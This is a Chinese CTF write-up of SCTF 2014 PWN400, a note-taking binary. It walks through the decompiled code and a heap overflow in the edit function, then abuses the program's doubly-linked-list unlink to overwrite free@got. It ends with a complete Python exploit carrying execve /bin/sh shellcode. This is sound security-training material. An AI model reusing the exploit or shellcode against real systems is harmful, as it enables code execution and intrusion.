• SCTF 2014 PWN400 分析


    之前没有分析PWN400,现在再开一篇文章分析一下。

    这个日志是我做题的一个笔记,就是说我做一步题就记录一下是实时的。所以说可能会有错误之类的。

    首先程序是经典的笔记本程序,基本上一看到这种笔记本就知道是考堆了吧~

      write(1, "1.New note
    ", 0xBu);
      write(1, "2.Show notes list
    ", 0x12u);
      write(1, "3.Show note
    ", 0xCu);
      write(1, "4.Edit note
    ", 0xCu);
      write(1, "5.Delete note
    ", 0xEu);
      write(1, "6.Quit
    ", 7u);
      write(1, "option--->> ", 0xCu);

    功能选单也是很经典。。。。

    那我们也按照套路来看看,首先是看下new note功能,看下note是怎么创建的,以及数据的存放位置。

    //IDA 伪代码
    int __cdecl sub_804897E(int a1)
    {
      void *v2; // [sp+1Ch] [bp-Ch]@1
    
      v2 = malloc(364u);
      write(1, "
    note title:", 0xCu);
      read(0, (char *)v2 + 12, 63u);
      write(1, "note type:", 0xAu);
      read(0, (char *)v2 + 76, 31u);
      write(1, "note content:", 0xDu);
      read(0, (char *)v2 + 108, 0xFFu);
      *(_DWORD *)v2 = v2;
      write(1, "
    
    ", 2u);
      if ( *(_DWORD *)a1 )
      {
        *((_DWORD *)v2 + 2) = *(_DWORD *)a1;
        *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
        *((_DWORD *)v2 + 1) = 0;
        *(_DWORD *)a1 = v2;
      }
      else
      {
        *(_DWORD *)a1 = v2;
        *((_DWORD *)v2 + 1) = 0;
        *((_DWORD *)v2 + 2) = 0;
      }
      return 0;
    }

    可以看到这个是一定的结构来组织的,从这里估计这是一个模仿堆机制的漏洞,而不是真正的堆漏洞。

    因为如果是堆漏洞的话,就没有必要搞这么麻烦的结构了,直接用堆自己的结构就可以了,当然这只是一个猜测,我也不知道到底是什么漏洞。

    看了一下结构是这样的

      struct note
    {
        DWORD 本块的指针;
        DWORD 后一块的指针;
        DWORD 前一块的指针;
        byte title[64];
        byte type[32];
        byte content[256];
        
      }

    可见是一个双向链表的存在。

    注意这里,IDA F5出来的伪代码是错误的

      *(_DWORD *)(*(_DWORD *)a1 + 4) = v2;
      *((_DWORD *)v2 + 1) = 0;

    这里明显是有逻辑问题的,看了一下汇编果然是插件的问题,汇编如下。

    arg_0是函数的参数,也就是伪代码里的a1

    var_c是分配的堆的指针,也就是伪代码里的v2

    我们再来看看edit功能,因为edit功能往往是漏洞多发的地方。尤其是ZCTF给我留下了这个阴影。。都是edit功能出的问题,而show和delete功能只是作为触发条件的。

    来看下edit功能:

    有一个相当明显的堆溢出,看来我们是真的找对地方了。问题就是出在edit功能中。

    再来看看其他部分吧,因为这么多的功能肯定是有用的,要不也没必要搞这么复杂了。

    首先考虑的是leak的问题,因为首先我们分配的堆的地址是不确定的,要是想往堆里写点东西干点什么的话,肯定是要leak堆地址的。

    如果不用堆地址的话,那么我们可能需要去改got表,因为堆溢出的本质就是任意地址写,肯定要leak出某个函数的真实地址。

    我现在是在没有进一步分析程序的情况下做出的猜测。

    说一下想法,因为目前没找到其他的漏洞。所以玩法应该就是利用堆溢出构造伪堆块,然后用空堆块合并机制实现unlink操作,进行任意地址写。写的目标应该是某个要调用函数的got表,

    把它的内容改成system函数的虚拟地址或者是某个可以执行shellcode的地址。但是在此之前还是要leak内存,就是像上一段说的那样,必须要进行leak才行。

    leak内存的想法就是找show功能选项。而要达到触发unlink宏还需要一个条件就是一个可控的free()。

    后来想了一下,发现自己的整体想法都是有问题的。这道题考的根本就不是堆漏洞,而是用双向链表模拟堆。我一直都把它当成堆漏洞来搞是完全错误的,比如我的想法是伪造堆块诱发合并触发unlink,

    这个思路对于这道题是完全错误的。因为这个题有它自己的链表机制如果去伪造堆块的话,会破坏它的链表是堆无法正常释放。

    那么正确的思路应该是利用那个双向链表,实现一个类似于DWORD SHOOT的利用,我们看一下delete函数是不是这样的。

    果然如此,经典的dword shoot写法,

    前块的后向指针=当前的后向指针

    后块的前向指针=当前的前向指针

    再看下链表遍历机制,   *(_DWORD *)a1 = *(_DWORD *)(*(_DWORD *)a1 + 8);它是这样去遍历双向链表的,所以覆盖头不会出现问题。

    此外就是它的地址问题了,怎么样得到system的地址。我看了一下其他功能没有发现其他漏洞,那么很有可能是没办法得到system的地址的。我们再来看一下保护

    蛤蛤,没有开nx,这个题啊,一颗赛艇。说明我们可以到处去写shellcode了。

    而show功能又可以leak出块的地址,这样的话就没有任何问题了。正常的利用堆溢出去构造unlink造成dword shoot,造成任意地址写。把free@got.plt改成我们在堆中的shellcode的地址。而shellcode的地址怎么获取呢?通过show功能就可以看到了,到这里整个的思路就很清晰了

     1 from zio import *
     2 import re
     3 
     4 shellcode =  ""
     5 shellcode += "x68x2Fx73x68xFFx68x2Fx62x69x6Ex8Dx1Cx24x31xC0x88x43x07x50x53x89xE1x8Dx51x04x83xC0x0BxCDx80x31xC0x40x31xDBxCDx80"
     6 
     7 
     8 length=len(shellcode)
     9 
    10 io=zio('./pwn400',timeout = 99999)
    11 
    12 io.read_until('--->>')#create a
    13 io.writeline('1')
    14 io.read_until('title:')
    15 io.writeline('a')
    16 io.read_until('type:')
    17 io.writeline('a')
    18 io.read_until('content:')
    19 io.writeline('a')
    20 
    21 io.read_until('--->>')#create b
    22 io.writeline('1')
    23 io.read_until('title:')
    24 io.writeline('b')
    25 io.read_until('type:')
    26 io.writeline('b')
    27 io.read_until('content:')
    28 io.writeline('b')
    29 
    30 io.read_until('--->>')#create c
    31 io.writeline('1')
    32 io.read_until('title:')
    33 io.writeline('c')
    34 io.read_until('type:')
    35 io.writeline('c')
    36 io.read_until('content:')
    37 io.writeline('c')
    38 
    39 io.read_until('--->>')#show note b
    40 io.writeline('3')
    41 io.read_until('title:')
    42 io.writeline('b')
    43 data=io.read_until('type:')
    44 note1_add = re.compile("0x(w+)")
    45 result = note1_add.findall(data)
    46 note1 = int(result[0],16)
    47 print 'dbg address of b'+hex(note1)
    48 
    49 io.read_until('--->>')#edit note a
    50 io.writeline('4')
    51 io.read_until('title:')
    52 io.writeline('a')
    53 io.read_until('content:')
    54 sc1=shellcode+'a'*(260-length)+l32(note1)+l32(0x804A450-0x8)+l32(note1-260)
    55 #io.gdb_hint()
    56 io.writeline(sc1)
    57 #io.gdb_hint()
    58 
    59 io.read_until('--->>')#delete note b
    60 io.writeline('5')
    61 io.read_until('location:')
    62 io.gdb_hint()
    63 end=hex(note1).lstrip("0x")
    64 #print end
    65 io.writeline(end)
    66 io.gdb_hint()
    67 
    68 io.interact()
  • 相关阅读:
    MS CRM 2011插件调试工具
    MSCRM 相關 (到石頭居博客查看)
    es6 复习
    HTML阶段笔试题附答案
    CSS选择器
    jQuery 效果知识总结
    markdown基本语法
    HTML5给我们带来了什么?
    H5新增语义化标签
    c#中去掉字符串空格方法
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5506049.html
Copyright © 2020-2023  润新知